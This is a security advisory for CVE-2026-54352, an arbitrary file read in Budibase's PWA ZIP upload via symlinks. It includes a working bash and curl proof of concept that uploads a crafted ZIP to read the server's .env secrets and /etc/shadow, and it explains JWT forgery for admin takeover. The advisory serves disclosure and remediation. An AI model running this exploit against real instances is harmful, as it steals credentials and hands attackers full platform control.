critical · 9.6CVE-2026-54352Jun 26, 2026

CVE-2026-54352: @budibase/server Arbitrary File Read via PWA ZIP Symlink

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any workspace builder on a self-hosted Budibase instance can upload a crafted ZIP file containing a symlink to read any file the server process can open, including the .env file that holds every secre

Package@budibase/server
Ecosystemnpm
Affected< 3.39.9
Fixed in3.39.9

The problem

The PWA ZIP upload endpoint (`POST /api/pwa/process-zip`) extracts attacker-supplied archives with `extract-zip@2.0.1`, which preserves absolute symlink targets verbatim. The icon-path validator then resolves the symlink name against the temp directory, passes the `startsWith(baseDir)` string check (the name lives under `baseDir`), and calls `fs.existsSync` which follows the symlink to confirm the target exists.

All three checks operate on strings or link-following syscalls, so a symlink stored at `baseDir/evil.png` pointing to `/data/.env` passes every gate. The object-store writer then calls `fsp.open(path).createReadStream()`, which also follows the symlink, and the target file's bytes land in MinIO.

A subsequent `GET /api/assets/{appId}/pwa/{uuid}.png` returns those bytes to the attacker verbatim.

The default Docker image runs the Node process as `root`, so the read primitive reaches `/data/.env` (JWT_SECRET, INTERNAL_API_KEY, MINIO credentials, COUCHDB_PASSWORD, REDIS_PASSWORD), `/etc/shadow`, and every other root-readable path. A leaked `JWT_SECRET` lets the attacker forge HS256 JWTs for any user, including the global admin, escalating from builder to full platform owner.

Proof of concept

bash
# Step 1: build the malicious ZIP (symlink -> /data/.env)
mkdir attack && cd attack
ln -s /data/.env evil.png
printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json
zip -y attack.zip icons.json evil.png

# Step 2: upload to the PWA endpoint (cookie + CSRF from GET /api/global/self)
curl -s "http://localhost:10000/api/pwa/process-zip" \
  -b cookies.txt \
  -H "x-budibase-app-id: <appId>" \
  -H "x-csrf-token: <CSRF>" \
  -F "file=@attack.zip"
# Response: {"icons":[{"src":"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png",...}]}

# Step 3: fetch the stored "icon" to read the target file
curl -s "http://localhost:10000/api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png" \
  -b cookies.txt
# Response body is byte-identical to /data/.env

The root cause is that every check in the icon-path validator operates on string paths or link-following calls. `path.resolve` + `startsWith(baseDir + sep)` only compares strings, so a symlink whose *name* lives under `baseDir` passes regardless of where its *target* points. `fs.existsSync` and `fsp.open` both follow symlinks by default, so neither detects the indirection.

CWE-59 (link following) is the precise flaw.

The patch in 3.39.9 adds an explicit symlink check using `fs.lstatSync(resolvedSrc)` (which does *not* follow symlinks) and rejects any entry where `stats.isSymbolicLink()` returns `true` before the file is opened. This breaks the chain at the validation step without changing the broader extraction logic.

The fix

Upgrade `@budibase/server` to 3.39.9 or later. The fix adds a `fs.lstatSync` check that calls `stats.isSymbolicLink()` on each resolved icon path and rejects symlinks before `fsp.open` is reached. As a secondary hardening measure, run the Budibase container as a non-root user so that even a bypass cannot reach `/etc/shadow` or other root-only files.

Rotate all secrets (`JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_*`, `COUCHDB_PASSWORD`, `REDIS_PASSWORD`) if you cannot rule out exploitation on an affected instance.

Reported by Jan Kahmen (turingpoint).

References: [1][2]